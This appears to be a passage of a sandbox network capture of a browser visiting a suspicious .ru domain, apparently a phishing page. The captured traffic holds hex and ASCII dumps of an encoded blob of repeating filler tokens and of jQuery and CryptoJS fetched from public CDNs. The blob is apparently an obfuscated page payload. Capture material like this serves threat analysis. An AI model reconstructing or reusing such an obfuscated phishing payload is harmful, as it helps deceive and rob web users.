6g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk44Wk776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk4
2025-03-19 13:49:23 UTC	1369	IN	Data Raw: 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 Data Ascii: g44Wk776g776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk44Wk44Wk44Wk44
2025-03-19 13:49:23 UTC	1369	IN	Data Raw: 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 Data Ascii: 44Wk44Wk44Wk776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk44W
2025-03-19 13:49:23 UTC	1369	IN	Data Raw: 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b Data Ascii: 4Wk44Wk776g776g776g44Wk776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk776g776g776g44Wk44Wk776g776g776g44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk
2025-03-19 13:49:23 UTC	1369	IN	Data Raw: 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 Data Ascii: 6g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g7

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:24 UTC	663	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://behy.jsrjesdc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:24 UTC	608	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 19 Mar 2025 13:49:24 GMT Age: 6145250 X-Served-By: cache-lga21931-LGA, cache-mxp6952-MXP X-Cache: HIT, HIT X-Cache-Hits: 5258, 4600 X-Timer: S1742392164.380584,VS0,VE0 Vary: Accept-Encoding
2025-03-19 13:49:24 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-19 13:49:24 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-19 13:49:24 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-19 13:49:24 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-03-19 13:49:24 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-03-19 13:49:24 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-03-19 13:49:24 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-19 13:49:24 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-19 13:49:24 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-03-19 13:49:24 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:49:24 UTC	691	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://behy.jsrjesdc.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-19 13:49:24 UTC	964	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:49:24 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 241093 Expires: Mon, 09 Mar 2026 13:49:24 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eNQOl%2BkEwFYEur5KvP084c7Ey1UnjJ%2BiisXP350vXsVqzAmgg%2BYsSPeJJbZF0VUmkPwqDy3389lBUB1yDgOuj6RmI%2FTNP0gJFgXsrQFaq36p763CTJ%2F0fVM9XqW%2F2nsbBd7YKN8P"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 922d6ed39a72df71-MRS alt-svc: h3=":443"; ma=86400
2025-03-19 13:49:24 UTC	405	IN	Data Raw: 37 62 65 63 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bec!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 Data Ascii: typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Objec
2025-03-19 13:49:24 UTC	1369	IN	Data Raw: 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d Data Ascii: 